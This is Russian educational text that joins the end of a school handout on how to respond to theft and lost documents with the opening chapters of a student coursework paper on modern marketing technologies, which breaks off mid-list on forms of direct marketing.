При составлении протокола надо постараться как можно точнее описать похищенные предметы и их характерные признаки.

Если автомобиль застрахован от ограбления, то надо сразу же позвонить страховому агенту.

 

Угон автомашины.

Надо действовать так:

Сразу же сообщить об этом в милицию.

Если машину угнали от вашего дома, то надо позвонить по телефону 02 и попросить соединить с дежурным вашего отделения милиции. Заявив дежурному об угоне, назвать своё имя и адрес, номер, марку и цвет угнанной машины, а также её особые приметы, которые могут помочь при розыске.

Подавая письменное заявление об угоне надо указать в нём все эти сведения, а также перечислить все предметы, которые находились в машине. Нельзя забыть о получении справки, подписанную дежурным по отделению милиции и заверенную печатью, о том, что угнали машину. Справка является необходимым документом для получения возмещения, если машина застрахована.

Если машину нашли, но она оказалась повреждённой, то необходимо составить акт, где будут зафиксированы все повреждения. Данный акт следует представить в отделение автоинспекции, где зарегистрирован автомобиль, для определения суммы причиненного ущерба.

Если машина застрахована, то сумму ущерба определяет страховая компания. Поэтому не надо торопиться начинать ремонт, пока не оформите все документы.

 

Кража в поезде.

Надо действовать так:

Сразу же сообщить о случившимся проводнику вагона, в котором вы едете, и начальнику поезда.

Если поезд сопровождают сотрудники милиции, проводник и начальник поезда должны помочь пострадавшему разыскать их.

Если в поезде нет сотрудников милиции, можно сообщить о краже в ближайшее отделение транспортной милиции, которое находится на каждой крупной станции.

В заявлении, которое нужно подать, необходимо указать постоянного проживания и адрес следования. Важно также подробно описать всё похищенное, вспомнить соседей по купе и тех, кто входил в купе или какое-то время находился поблизости.

 

 

 

Кража багажа в аэропорту.

Надо действовать так:

Если, получив багаж, человек обнаружил, что он был вскрыт, то нужно сообщить об этом администрации аэропорта или авиакомпании, услугами которой пострадавший пользуется, а так же в милицию, находящуюся в аэропорту. При этом нужно добиться составления акта, в котором будет отражен (хотя бы приблизительно) размер нанесенного ущерба.

Самое лучшее, если заявить о краже до того, как покинете багажную зону аэропорта. В этом случае авиакомпания обязана возместить вам нанесённый ущерб. Поэтому, если, получая багаж, замечено, что его вес изменился, нужно немедленно заглянуть внуть, чтобы убедиться в его целости.

Также нужно помнить, что могут помочь возможные свидетели, которые подтвердят вес багажа или наличие в нем тех или иных предметов.

Если человек везет предметы, предоставляющие для него ценность, то будет полезным при их упаковке составить краткий перечень. Он поможет ему ничего не упустить, если произойдет кража.

Обращаясь в милицию или к администрации, лучше всего быть со свидетелем, который в будущем сможет подтвердить всё происходящее. Кроме того, необходимо помнить, что любое заявление обязательно должно быть зафиксировано дежурным. Только в этом случае можно обжаловать действия сотрудников милиции. Поэтому, подавая заявление, необходимо удостовериться в том, что дежурный внес запись о пропаже в свои документы.

Нужно помнить, что дежурный по отделению милиции обязан назвать своё имя, должность и звание по первому требованию. Будет полезно записать фамилию того сотрудника, к которому обратились, а также время, когда это было сделано.

Если сотрудникам милиции удастся задержать преступника, у которого будет обнаружены похищенные вещи, нужно добиться, чтобы этот факт был зафиксирован в протоколе. Только в этом случае можно рассчитывать на привлечение вора к ответственности.

Возвращение пострадавшему похищенного также должно быть зафиксировано в протоколе. Будет правильным, если оставить себе его второй экземпляр или снять с него копию.

Следует также отметить, что в протоколе обязательно должна присутствовать возвращенного имущества.

 

Пропажа паспорта.

Надо действовать так:

Если человек потерял паспорт, находясь в том городе, где он живёт постоянно, то нужно немедленно заявить об этом в ближайшее отделение милиции. Затем необходимо отправиться в паспортный стол, где он получал паспорт, и подать заявление об утере документа.

Нужно помнить, что новый паспорт выдаётся взамен потерянного или украденного не ранее чем через 10 дней после заявки о пропаже.

Если неожиданно пропал паспорт, когда человек находился в отпуске и командировке, то необходимо сразу же заявить об этом администратору гостиницы, где он временно проживает, а затем подать заявление в соответствующее отделение милиции.

Если необходимо воспользоваться самолётом или просто уехать в другую местность, где потребуется предъявить документ, удостоверяющий личность, то можно обратиться в милицию с просьбой о выдаче справки, временно удостоверяющей личность. О том, как получить такую справку, можно узнать в отделении милиции по месту пропажи документа.

 

Пропажа сберегательной (банковской) книжки.

Нужно действовать так:

Если пропала сберегательная (банковская) книжка, нужно как можно скорее заявить об этом в то учереждение банка, где открыт счёт. Там же можно узнать о порядке получения денег без сберегательной книжки и о выдаче новой.

Если пользоваться документом на предъявителя, то в случае его пропажи нужно немедленно закрыть счёт, сняв с него все деньги.

Никогда не надо хранить в одном месте сберегательную книжку на предъявителя и расчетный лист к ней.

Пропажа кредитной карточки.

Нужно действовать так:

Если пропала кредитная карточка или чековая книжка, то нужно сразу же позвонить по телефону в банк, выдавший эти документы, чтоб их аннулировали. Этим можно застраховать себя от риска потерять деньги, оставшиеся на счёту. Впрочем, после телефонного звонка всё равно необходимо прибыть в банк, чтобы подать письменное заявление о потере старых и получении новых документов.

Не стоит хранить в одном месте кредитную карточку и запись личного идентификационного номера. Помнить, что без этого номера кредитная карта не представляет для похитителя или подобравшего её никакой ценности.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

13. Список литературы:

“Основы безопасности жизнедеятельности (справочник школьника)” ., Филологическое общество “Слово”., М., 1997.

Брошюра “Кражи и действия при них”, “Наука”, М., 1996.

Курсовая работа: Современные маркетинговые технологии

Оглавление

Введение

Глава 1. Маркетинг как инструментарий предпринимательства

1.1 Маркетинг взаимодействия — современная концепция предпринимательства

1.2 Современный маркетинг в современном мире

1.3 Современные технологии маркетинга

Глава 2. Коммуникативная политика: эффективность маркетинговых коммуникаций

2.1 Реклама. Общие положения. Современная реклама

2.2 Стимулирование сбыта

2.3 Личная продажа

2.4 Паблик рилейшнз

2.5 Прямой маркетинг

2.6 Продукт-плейсмент

Глава 3. Интернет — маркетинг: новые технологии бизнеса

3.1 Интернет-маркетинг

3.2 Интернет и всемирная паутина

3.3 Функции интернета и их роль в современном маркетинге

3.4 Потребительский маркетинг

3.6. Другие интерактивные связи маркетинга

Заключение

Список используемых источников и литературы

Введение

Драматичные изменения, происходившие в глобальной экономике и обществе за последние 10 лет, привлекли внимание почти каждого человека из каждой отрасли, начиная от банковских услуг до воздушных перевозок и коммуникаций. В настоящее время ключом к процессу, обеспечивающему конкурентное преимущество, выступает маркетинг.

Темп изменений, происходящих в экономике, все время возрастает. Сегодня новые продукты создаются очень быстро. В таких условиях роль маркетинга принципиально меняется, а управление им становится качественно другим. Лидеры ближайшего будущего — это компании, которые умеют мгновенно реагировать на краткосрочные запросы рынка, тут же преобразовывать их в товары и услуги и быстрее других доставлять их потребителю.

Выбранная тема курсовой работы «Современные маркетинговые технологии» довольно актуальна; Современный маркетинг — это не только творчество, но и четкая организация и управление, основанное на использовании инновационных маркетинговых технологий. Организации всех видов, стараясь добиться своих целей, начинают все более активно применять маркетинг. Концепцию маркетинга отношений­ предоставление потребителям товаров и услуг, которые они хотят купить, и тогда, когда они этого хотят, — в настоящее время применяют самые разные организации. Маркетинг продолжает выполнять свою функцию — сводить вместе покупателей продавцов и делает это быстрее и эффективнее, чем в прошлом.

Целью данной курсовой работы является рассмотрение и изучение современных маркетинговых технологий.

Задачи формируются в соответствии с основной целью и включает в себя:

изучение маркетинга взаимодействия, как основной концепции современного маркетинга;

освоение современного маркетинга в современном мире, а так же основные положения современных технологий маркетинга;

уяснение коммуникативной политики; современная реклама, стимулирование сбыта, личная продажа, Паблик рилейшнз, прямой маркетинг, Продукт-плейсмент;

изучение Интернет — маркетинга в качестве новых технологии бизнеса.

Курсовая работа состоит из введения, трех глав основной части, заключения и списка использованной литературы.

Глава 1 называется «Маркетинг как инструментарий предпринимательства» и освещает следующие вопросы:

1. Маркетинг взаимодействия — современная концепция предпринимательства;

2. Современный маркетинг в современном мире;

3. Современные технологии маркетинга: общие положения.

Глава 2 называется «Коммуникативная политика: эффективность маркетинговых коммуникаций», которая отвечает на следующие вопросы:

1. Основные понятия маркетинговых коммуникации;

2. Реклама. Общие положения. Современная реклама;

3. Стимулирование сбыта;

4. Личная продажа;

5. Связи с общественностью — Паблик рилейшнз;

6. Прямой маркетинг;

7. Продукт-плейсмент

Современным фирмам следует уметь собирать и обрабатывать информацию так, чтобы знать нынешний и предугадывать завтрашний спрос, уметь эту информацию быстро преобразовывать в пакет эффективных внутренних решений, создавать под их реализацию мобильные команды, превращающие эти решения в новые товарные идеи, доводить созданные товары и информацию о них до потребителя быстрее и экономичнее, чем конкуренты.

Для российских компаний иметь маркетинговые структуры, распоряжающиеся своими торговыми марками и другими нематериальными активами, осуществлять интенсивные коммуникации с рынком, изучать потребительские запросы, доступнее и дешевле, чем попытки создания конкурентоспособных производств и даже целых отраслей, основанных на современных технологиях и дорогом оборудовании. Для переоснащения нашей промышленности требуются десятки миллиардов долларов, даже если их и найти то, это еще не значит, что созданное на предприятиях найдет свой сбыт без наличия у компаний совершенных коммуникационных навыков.

Вот почему в Главе 2 основное внимание уделено именно коммуникационным составляющим маркетинга.

Глава 3 называется «Интернет — маркетинг: новые технологии бизнеса» она освещает следующие вопросы:

1. Понятие интернет-маркетинга;

2. Интернет и всемирная паутина. Главные качества Сети с точки зрения маркетинга;

3. Функции интернета и их роль в современном маркетинге;

4. Потребительский маркетинг. Преимущества, ограничения и безопасность;

5. Интернет-маркетинг и влияние на бизнес;

6. Другие интерактивные связи маркетинга.

Особенности современной динамичной среды и постоянные изменения в характере и организации деятельности требуют изменения и методов управления современными компаниями. Ключевая роль в корпоративной инфраструктуре начинает принадлежать информационным технологиям — именно они обеспечивают беспрецедентное экономическое развитие предприятий современной эпохи. Системы информационных технологий помогают экономить ресурсы, и позволяют глубже проникать в сущность корпоративных операций. Учитывая это, корпорации все активнее используют современные технологии, все шире внедряют бизнес-процессы, которые помогают не только контролировать себестоимость продукции, но и создают надежный маркетинговый фундамент для развития бизнеса.

Поэтому основное внимание в Главе 3 уделено информационным технологиям.

Глава 1. Маркетинг как инструментарий предпринимательства

1.1 Маркетинг взаимодействия — современная концепция предпринимательства

Мировая наука и практика в области маркетинга и предпринимательства обосновали и рекомендуют выделять следующие концепции в эволюции маркетинга: производственную, товарную, сбытовую, традиционного маркетинга, социально­этического маркетинга и маркетинга взаимодействия.

При использовании производственной концепции основной акцент падает на производство. Главное — произвести, а сбыть товар в условиях отсутствия аналогичных товаров на рынке — дело несложное. В связи с этим эффективность деятельности предприятия в основном определяется экономикой производства (увеличить серийность, снизить себестоимость, больше продать). О потребителе не думают вообще, рынок не исследуется, главное — произвести дешевый товар с удовлетворительными потребительскими свойствами.

Товарная концепция концентрирует внимание на том, что потребитель всегда благоприятно отнесется к товару, если последний хорошего качества и имеет умеренную цену. Потребитель заинтересован в таких товарах, знает о наличии изделий-аналогов, и осуществляет свой выбор путем сравнения качества и цен на аналогичные товары других фирм. Достижение желаемого объема продажи и прибыли требует небольших затрат на маркетинговую деятельность.

Концепция товара не всегда приносит успех, возможно проявление маркетинговой близорукости. Это имеет место, когда игнорируется необходимость изучения покупательной способности потребителей, товаров-конкурентов, совместимости изготовляемых комплектующих изделий с существующими аппаратами, производство которых имеет массовый характер. Снижая затраты на маркетинг, фирма рискует получить значительный ущерб от неудачи на рынке.

Деятельность, основанная на сбытовой концепции, начинается с имеющегося в распоряжении фирмы товара. При этом главной задачей является достижение объема продаж, необходимого для получения прибыли за счет различных мероприятий по стимулированию сбыта. Таким образом, предполагается, что потребители будут покупать предполагаемые товары в достаточном объеме лишь в том случае, если компанией будут приложены определенные усилия по продвижению товаров и увеличению их продажи.

Эффективность концепции сбыта в течение длительного времени Ф. Котлер объясняет следующим:

1) многие покупатели считают, что они в состоянии защищать свои интересы;

2) покупатели, не удовлетворенные покупкой, вскоре забывают о своем чувстве неудовлетворенности;

3) покупатели, недовольные покупкой, не очень часто делятся своими впечатлениями с другими покупателями;

4) покупатели, не удовлетворенные покупкой, едва ли будут обращаться с жалобой в общество, защищающее их интересы;

5) всегда имеется достаточно большое число потенциальных покупателей.

Однако процесс интенсификации продаж уже произведенных товаров, навязывание покупки требует значительного внимания к наращиванию производства и совершенствованию товара. При этом из поля зрения обычно выпадают рынок и потребитель, что снижает эффективность концепции сбыта.

Традиционная маркетинговая концепция изменяет содержание концепции сбыта. Она оформилась около середины 1950-х гг., тогда как сам маркетинг возник значительно раньше. Эта концепция маркетинга заключается в ориентации на покупателей, подкрепленной комплексом мер, нацеленных на удовлетворение потребностей рынка. Она начинается с выявления реальных и потенциальных покупателей и их потребностей.

Маркетинговая концепция обязывает:

1) производить то, что можно продать, вместо попыток продать то, что можно произвести;

2) любить потребителя, а не свой товар;

3) не продавать товары, а удовлетворять потребности;

4) изучать не производственные мощности, а потребности рынка и разрабатывать планы их удовлетворения;

5) увязывать цели, требования потребителей и ресурсные возможности фирмы;

6) адаптироваться к изменениям в структуре и характеристиках потребителей;

7) оценивать воздействия конкуренции, государственного регулирования и другие внешние воздействия по отношению к фирме;

8) ориентироваться на долгосрочную перспективу и рассматривать потребности потребителей в широком плане.

Концепция социально-этического маркетинга. Маркетинг на практике представляется чрезвычайно сложной задачей, при решении которой требуются большой объем плановых расчетов, подготовка кадров, значительные дополнительные затраты. Обязательными условиями применения концепции социально-этического маркетинга являются:

1) наличие основной цели фирмы, которая должна состоять в удовлетворении различных потребностей покупателей в соответствии с интересами общества;

2) необходимость постоянно заниматься поиском новых товаров, полнее удовлетворяющих спрос, обеспечивающий интересы потребителей. Фирма должна быть готова вносить нововведения в товары в соответствии с интересами покупателей;

3) наличие постоянного контакта с потребителями, поддерживающими фирму, и проявление заботы об удовлетворении их потребностей.

Кроме информатизации предпринимательской и маркетинговой деятельности существенным фактором, который формирует генезис эволюционного развития маркетинга, и его концепцией является развитие отрасли сервисного предпринимательства. Переход к сервисному обществу означает, что, как и в эпоху промышленной революции, потребуются новые управленческие и организационные решения в маркетинге, технологии, управлении взаимоотношениями между людьми — работниками фирмы и клиентами, покупателями.

Услуги становятся источником конкурентного преимущества независимо от того, где они оказываются: в промышленности (техническое обслуживание и ремонт, обучение персонала, консультации, обеспечение материалами и т.д.) или в традиционной сфере услуг (банки, туризм, гостиницы, рестораны и т.д.). Это требует нового подхода к управлению, маркетингу, персоналу, финансам.

Новая концепция управления маркетингом на рынках товаров и услуг была предложена в 1980-е гг. шведскими учеными и названа маркетингом взаимодействия. Основная идея маркетинга взаимодействия состоит в том, что объектом управления маркетингом становится не совокупное решение, а отношения (коммуникации) с покупателем и другими участниками процесса купли-продажи.

Концепция маркетинга взаимоотношений ориентирована на формирование и поддержание длительных, конструктивных доверительных и привилегированных отношений с потенциальными потребителями. В отличие от традиционной концепции маркетинга, цель которого — конкретная продажа товаров, маркетинг отношений включает все шаги, предпринимаемые компанией для лучшего понимания и обслуживания ключевых потребителей, установления с ними взаимовыгодных связей. 1

В сферу внимания маркетинга взаимодействия должны попасть каждый фактор производства товара и услуги, каждый используемый производственный ресурс, каждая стадия производства и поставки товара и оказания услуги. Если не будет эффективного маркетинга взаимодействия, то обещания, данные рекламой (т.е. традиционным маркетингом), не будут выполнены в процессе самого осуществления операций.

Следовать концепции маркетинга взаимодействия фирму стимулируют разнообразные причины: изменение в технологии, увеличивающаяся требовательность покупателей и усиливающаяся конкуренция, которая ориентирует фирму на внесение изменений в структуру существующего предложения за счет превосходства в управлении взаимоотношениями. 2

1.2 Современный маркетинг в современном мире

В сфере производства мир стоит перед лицом отказа от массового производства, которое сформировалось ещё в конце XIX — начале XX века. На смену массового производства идет новый тип производства. Этот новый тип производства принципиально меняет саму цель производственного процесса. Здесь традиционная задача изготовления большого числа однотипных изделий, удовлетворяющих требованиям технической документации, из коих потребитель должен выбрать наиболее подходящие для него, заменяется задачей изготовления именно такого изделия, какое нужно каждому данному потребителю, и именно в том количестве, какое требуется, и как раз тогда, когда надо.

В современном бизнесе происходит смещение приоритетов от «функциональных» к «инновационным» продуктам. Функциональные продукты служат удовлетворению насущных потребностей и покупаются, в большинстве случаев, без оглядки на место приобретения (понадобилось — увидел — купил). На них существует более или менее предсказуемый спрос, а их жизненный цикл длится относительно долго. Конкурентам легко их имитировать, а следовательно, их трудно сделать высокорентабельными.

Инновативные продукты, напротив, представляют собой последнее слово техники или моды, спрос на них трудно предсказать, а их жизненный цикл значительно короче. В качестве компенсации за риск и краткость существования такого товара его производитель получает относительную свободу от конкуренции и связанную с этим возможность добиться более высокой рентабельности.

В пределе современные средства телекоммуникаций (например, с применением Интернет) позволяют перейти к непосредственному индивидуальному контакту, практически, с каждым клиентом компании. Современный маркетинг эволюционирует от массового маркетинга к маркетингу взаимоотношений. 3

1.3 Современные технологии маркетинга

Ситуация на рынках стремительно меняется. Во-первых, наблюдается взрывной рост предложения, что выражается как в резком увеличении количества товарных групп, так и в их наполнении. Товарное изобилие заставляет компании предпринимать определенные усилия, чтобы удержаться на рынке.

Во-вторых, в условиях товарного изобилия потребитель становится все более искушенным. Классический подход в сегментировании зачастую не срабатывает. В настоящее время целесообразно говорить уже не о сегментах, а о фрагментах потребителей (очень маленьких сегментах, которые объединяет наличие общей для всех мотивации высокого уровня).

В-третьих, происходит изменение информационного поля, которое выражается во фрагментации каналов информации (появлении новых каналов и новых возможностей при использовании старых каналов донесения информации до потребителя: Интернет-маркетинг, электронные табло и т.д.). В-четвертых, это внутрикорпоративный прессинг и желание руководства и собственников повысить эффективность бизнеса. Проводится агрессивная маркетинговая политика, которая зачастую не приносит ожидаемых результатов.

Перечисленные изменения бросают компаниям «вызовы» и требуют поиска «выходов», как ответов на эти вызовы.

Первой проблемой является привлечение внимания потребителя к товарам фирмы. В условиях жесткого информационного давления это становится непростой задачей.

Другой проблемой является осуществление выбора и принятие решения о покупке в данный момент времени (что выбрать и когда?). Люди часто откладывают совершение покупки в надежде на более выгодное предложение в будущем. Необходимо найти способ подтолкнуть потребителя сделать покупку уже сейчас.

Третьей проблемой является фрагментация коммуникационных стратегий. Информационное поле, с одной стороны, становится очень разрозненным, а с другой стороны, очень насыщенным. В этих условиях выбрать свою коммуникационную стратегию становится непросто.

Наиболее действенные, эффективные решения и/или инструменты следующие.

1) Первым решением в этих случаях является уникальность продукта;

2) Второе решение это управление восприятием цена/качество (распродажи, скидки и т.п.);

3) Третье решение человеческие слабости. В зоне комфорта и удовольствия человек значительно легче принимает решение о покупке;

4) Следующим решением или инструментом является доверие и возможные пути его формирования: личный опыт, брэнд (который зачастую подменяет личный опыт). 4

Глава 2. Коммуникативная политика: эффективность маркетинговых коммуникаций

Коммуникативная политика в системе маркетинга — это перспективный курс действий предприятия, направленный на планирование и осуществление взаимодействия фирмы со всеми субъектами маркетинговой системы на основе обоснованной стратегии использования комплекса коммуникативных средств, обеспечивающих стабильное и эффективное формирование спроса и продвижения предложения (товаров и услуг) на рынки с целью удовлетворения потребностей покупателей и получение прибыли. 5

Коммуникация — это универсальная и одна из самых основных характеристик как человеческого общения, так и деятельности любых организаций. Сфера ее применения весьма широка, поскольку без коммуникации не обходится ни один акт социального взаимодействия в обществе.

Маркетинговые коммуникации как один из инструментов маркетинга предназначены для передачи информации, сообщения от отправителя к получателю. Это очень сложный процесс, который зависит о социальной среды, в которой он протекает, от людей, отправляющих информацию, от целенаправленности этой информации, от того, каким способом она будет отправлена. 6

Важность коммуникаций в предпринимательской деятельности обусловливается тем, что:

1) коммуникация является источником и носителем информации;

2) участники коммуникации получают информацию посредством общения с коллегами внутри и вне своих организаций;

3) коммуникация выступает в качестве инструмента высокой эффективности при реализации разрабатываемой стратегии предпринимательства. 7

Рост рынков средств коммуникаций, появление множества новых коммуникативных инструментов приводят к увеличению затрат на коммуникативные процессы.

Для развития коммуникативных процессов в последние годы характерным является рост многообразия и интегрированности коммуникаций, с одной стороны, и рост использования дифференцированных маркетинговых инструментов — с другой (Приложение 2). Коммуникация становится фактором успеха в конкурентной борьбе, эта тенденция усиливается в условиях усложнения коммуникативных процессов. 8 Маркетинговые коммуникации — это процесс взаимодействия субъектов маркетинговой системы по поводу согласования и принятия тактических и стратегических решений в маркетинговой деятельности. Эффективность маркетинговых коммуникаций зависит от личностных характеристик каждого из субъектов маркетинговой системы, а также от используемых средств осуществления и методов стимулирования коммуникаций.

Средства осуществления коммуникаций — медиа, или каналы коммуникаций, позволяют реализовывать функции передачи (транспортировки) и представление в той или иной форме сообщений от коммуникатора к коммуниканту. 9

Применение инструментария обеспечивает выполнение следующих основных функций системы продвижения: стимулирование спроса; создание благоприятных условий для ценовой эластичности рыночного механизма спроса и предложения; информирование о свойствах и видах товара, качестве услуг; Формирование и распространение имиджа и престижа фирмы; оповещение о распродажах, ярмарках, выставках; напоминание персональным клиентам или группам покупателей о ценовой и товарной политике фирмы; распространение сравнительной информации о результатах деятельности фирмы и фирм-конкурентов; перевод количественных и качественных характеристик товаров и услуг на язык потребностей покупателей.

Комплекс маркетинговых коммуникаций осуществляет и структуру продвижения т.е. такое сочетание инструментов продвижения, которое создает наиболее рациональную форму воздействия на покупателей при информировании их о товаре или услуге. Структура продвижения позволяет использовать наиболее важные преимущества каждого из инструментов продвижения, обеспечивать функциональное взаимодополнение комплексного инструментария и благодаря этому создавать синергетический эффект коммуникативного микса. 10

2.1 Реклама. Общие положения. Современная реклама

Реклама-это информация о потребительских свойствах товаров и различных видах услуг с целью их реализации или создания спроса на них, а также распространение сведений о лице, организации, произведении литературы и искусства и т.п. с целью создания им популярности. 11

Современная реклама не только извещает потенциальных покупателей о возможности покупки того или иного товара. Она помогает им более разумно совершать покупки, информируя о качестве, цене, способах применения и других фактах, которые покупатели хотят знать, прежде чем сделать выбор среди многочисленных схожих товаров. Кроме того, реклама способствует повышению жизненного уровня людей, стимулируя их усилия в приобретении более качественных вещей. Она также побуждает производственные и торговые предприятия предлагать товары лучшего качества. 12

В соответствии с законодательством Российской Федерации современная реклама, в том числе Интернет-реклама, определяется как распространяемая в любой форме, с помощью любых средств информация о физическом или юридическом лице, товарах, идеях и начинаниях, которая предназначена для неопределенного круга лиц и призвана формировать или поддерживать интерес к этим физическому, юридическому лицу, товарам, идеям и начинаниям и способствовать реализации товаров, идей и начинаний.

Современные виды рекламы широко используются для продвижения продукции на рынке. С увеличением рынка улучшается качество и оригинальность рекламы. Развивается спонсорство и Интернет-реклама. Производители заинтересованы в увеличении количества продаж с помощью рекламы и привлечения как можно большего количества клиентов.

Одним из самых дорогих видов рекламы на сегодняшний день остаётся реклама на телевидении. Всем известно, что телевидение является самым массовым из всех СМИ, именно поэтому телевизионная реклама имеет целый ряд преимуществ.

За счёт широкого распространения телевидения главным преимуществом, несомненно, можно считать именно огромную аудиторию. Несмотря на все свои достоинства, у телевизионной рекламы всё же есть один значительный недостаток — это очень высокая стоимость размещения. Кроме того, реклама на телевидении сильно ограничена по времени. Весьма распространённым видом рекламы является реклама на радио. В последнее время всё большую популярность приобретает реклама на транспорте.

Несмотря на разнообразие форм рекламы, специалисты утверждают, что будущее за рекламой в Интернете. Преимуществ у Интернет рекламы немало. Рекламная кампания в Интернете — эффективный способ донести до потребителя информацию о своём товаре. Реклама в Интернете в целом дешевле других форм рекламы, что тоже, несомненно, бесспорный плюс. Большинство потребителей предпочитают знать всё или почти всё о товаре, который собираются купить. С информированием покупателей как нельзя лучше справляется реклама в Интернете, которая доступна в любое время 24 часа в сутки. Более того, Интернет позволяет увидеть, кто именно интересуется вашим продуктом и, в соответствии с этими данными, корректировать, изменять или дополнять рекламу, ориентируясь на свою целевую аудиторию.

В России Интернет ещё доступен весьма ограниченному числу людей, отсюда узость рынка. Тем не менее, ничто не стоит на месте, постепенно Интернет становится доступным всё большему числу людей, поэтому вскоре Интернет реклама станет более распространена и, вполне возможно, станет лидером среди всех видов рекламы по эффективности. 13

Достоинства рекламы. Охват территориально распределенного рынка; Информирование потребителя о характеристиках товара и фирмы; Возможность репродукции; Хорошая интегративность в систему комплекса маркетинговых коммуникаций; Мобильность; Невысокие удельные затраты, приходящиеся на одного потенциального покупателя; Возможность корректировки во времени.

Недостатки рекламы. Отсутствие или слабая обратная связь с покупателем; Значительные потери по отношению к результативности охвата потенциальных покупателей; Достаточно высокие общие расходы; Невозможность индивидуального подхода, личного контакта с покупателями. 14

2.2 Стимулирование сбыта

Стимулирование сбыта (продаж) как форма продвижения товара (услуг) представляет собой маркетинговую деятельность по стимулированию роста продаж. Оно служит для поддержки, информирования и мотивации всех участников процесса сбыта (внешней, оптовой и розничной торговли) в целях создания непрерывного потока реализации товара. Среди приемов и средств стимулирования сбыта наиболее эффективны скидки с цены, купоны, презентация товара, гарантии возврата денег, продажа в кредит, премии, лотереи. 15

Методы стимулирования сбыта можно применять по трем основным направлениям:

1) для стимулирования сферы торговли (посредников);

2) для стимулирования работников предприятия, занимающихся сбытом;

3) для стимулирования покупателей. 16

Среди методов стимулирование сбыта широко распространено ценовое стимулирование: снижение цен; купоны покупки или обслуживания по обязательствам со снижением цен); финансирование следующих покупок; кредит; сезонные снижения цен.

Не меньшее значение имеет и неценовое стимулирование: конкуренция покупателей (лотереи); персональное продвижение; свободные подарки (возможность дополнительных бесплатных приобретений); предоставление образцов новых товаров для пробной эксплуатации. 17

Достоинства. Обеспечение маневренности роста сбыта товара; Хорошая интеграция с другими видами движения товара, рекламой, личной продажей; Ориентирование на незамедлительное совершение покупки; Создание привлекательности сделки благодаря введению стимулов в виде уступок, скидок; Возможность осуществления собственными силами и средствами фирмы; Небольшие потери в процессе осуществления.

Недостатки. Краткосрочность, непостоянство продолжительности применения; Сложность определения успешности сбыта; Сравнительно высокие затраты; Невозможность применения, как правило, в сочетании с другими методами продвижения товара. 18

Сокращение промежуточных звеньев цепочки, которое инициируется производителями и розничной торговлей. Крупные универсамы по-новому сотрудничают с крупными производителями, выдавливая промежуточные звенья. Эта концепция единого целого направлена на устойчивый обмен информацией между потребителями, торговлей и производителями.

В России, напротив, оптовое звено выполняет важную роль. Отсутствие общенациональных розничных сетей, покрывающих всю территорию страны, плохие транспортные связи делают такое звено пока единственно возможным для эффективного распределения. Возможно, крупная оптовая торговля возьмет на себя управляющую роль в цепочке (производитель — оптовик — розница -потребитель) до тех пор, пока ее не сменит какая-то другая. 19

2.3 Личная продажа

Личная продажа — вид продвижения, который предполагает личный контакт продавца с покупателем, взаимодействие, общение с покупателем, в процессе которого устно представляются потребительские характеристики товара и принимается совместное решение о возможности (невозможности) сделки, купли-продажи товара. В отличие от рекламы это средство коммуникации осуществляется в форме диалога, а не монолога.

Личная продажа — это не только средство формирования плановых взаимодействий с покупателем, но и форма осуществления сбытовых операций, способ получения информации о потребителях, их отношении к покупке того или иного товара. 20

Достоинства. Широкие возможности личных коммуникаций, диалога с покупателями; Наличие эффективной обратной связи с потенциальном покупателем; Избирательность и адаптивность к характеристикам покупателей; Сокращение потерь по охвату полезной аудитории; Охват вполне определенных сегментов рынка; Возможности непрерывных коммуникаций и вовлечения через потенциальных потребителей новых клиентов.

Недостатки. Высокие удельные затраты, приходящиеся на одного потенциального покупателя; Невозможность охвата рынка, расположенного на большой территории; Большие затраты, связанные с привлечением и обучением персонала; Низкая эффективность использования медиасредств маркетинговых коммуникаций; Эпизодичность в продолжительности воздействия. 21

2.4 Паблик рилейшнз

Паблик рилейшнз (PR) — связи с общественностью. Рыночные отношения пронизывают все слои общества от изготовителей, которые стремятся продать свою продукцию через торговые структуры до конечных потребителей. Этот многогранный процесс обмена осуществляется при непосредственном участии государства, представителей деловых кругов и общественности с использованием различных средств массовой информации.

В современных условиях развития экономики, когда в крупных коммерческих проектах активное участие принимают широкие массы, учет общественного мнения становится непременным условием коммерческого успеха. В последнее время наука об общественных связях заняла достаточно прочные позиции. Успех многих маркетинговых проектов зависит от правильного использования средств и приемов PR. 22

Достоинства. Обеспечение покупателей достоверной, представительной информацией; Более эффективное восприятие покупателями; Незначительные потери; Возможность эффективного представления товаров и фирмы; Возможность коммуникаций с использованием различных мадиа и СМИ; Долгосрочность.

Недостатки. Эпизодичный характер коммуникаций; Невысокая эффективность формирования положительного имиджа фирмы и ее товара; Сосредоточение главного внимания не на потребительских характеристиках товара и деятельности фирмы, а на общих вопросах становления и развития рынка. 23

2.5 Прямой маркетинг

Личная продажа как способ реализации товара без посредников в основном использовалась для продвижения товаров производственно-технического назначения. Однако развитие новых средств, мультимедиатехнологий и их применение в коммуникациях (например, телемаркетинг, радио, Интернет и др.) позволило перенести этот метод сбыта и на рынок потребительских товаров и услуг.

Популярность прямого маркетинга значительно возросла в последнее десятилетие по ряду причин. Это внедрение компьютерных технологий и программно обеспечения, позволяющих значительно увеличить количественно и качественно контактную аудиторию потребителей; дефицит времени у потребителей для осуществления покупок; распространение бесплатных услуг телекоммуникационными компаниями; возможность получения товаров по кредитным карточкам; повышение качества индивидуального обслуживания покупателей торговыми агентами ввиду роста их квалификации; возможность получения информации с помощью списков и электронной базы данных о потребителях.

Наиболее перспективной формой прямого маркетинга в России может стать продажа по каталогам при условии более надежной работы почты с посылками и бандеролями и большей развитости системы электронных платежей (пластиковых карт). Перспективной формой прямого маркетинга становится телефонный маркетинг, особенно в крупных городах. Не менее значимые перспективы имеет и телевизионный маркетинг (например, «Магазин на диване», «Телемагазин», «ТУ-shop» и т.п.). 24

Профессор Е.П. Голубков выделяет следующие пять форм прямого маркетинга:

1) прямой маркетинг по почте (директ-мейл) — прямой маркетинг почтовых от­ правлений (писем, рекламы, образцов, проспектов и др.) потенциальным клиентам;

2) маркетинг по каталогам — прямой маркетинг посредством каталогов, рассылаемых выбранным клиентам или предоставляемых им в местах продажи товаров;

З) телемаркетинг — использование телефонных сетей для непосредственной продажи товара потребителям. Сотрудники фирм предоставляют бесплатные для клиентов телефонные номера для получения от них заказов, информацию о которых покупатели получают на основе теле — и радиорекламы, прямой почты, торговли по каталогам;

4) телевизионный маркетинг — прямой маркетинг через телевидение путем показа рекламы прямого ответа (первые ответившие потребители имеют льготные условия покупки) или использование специальных телевизионных коммерческих каналов для продажи на дому по выгодным ценам;

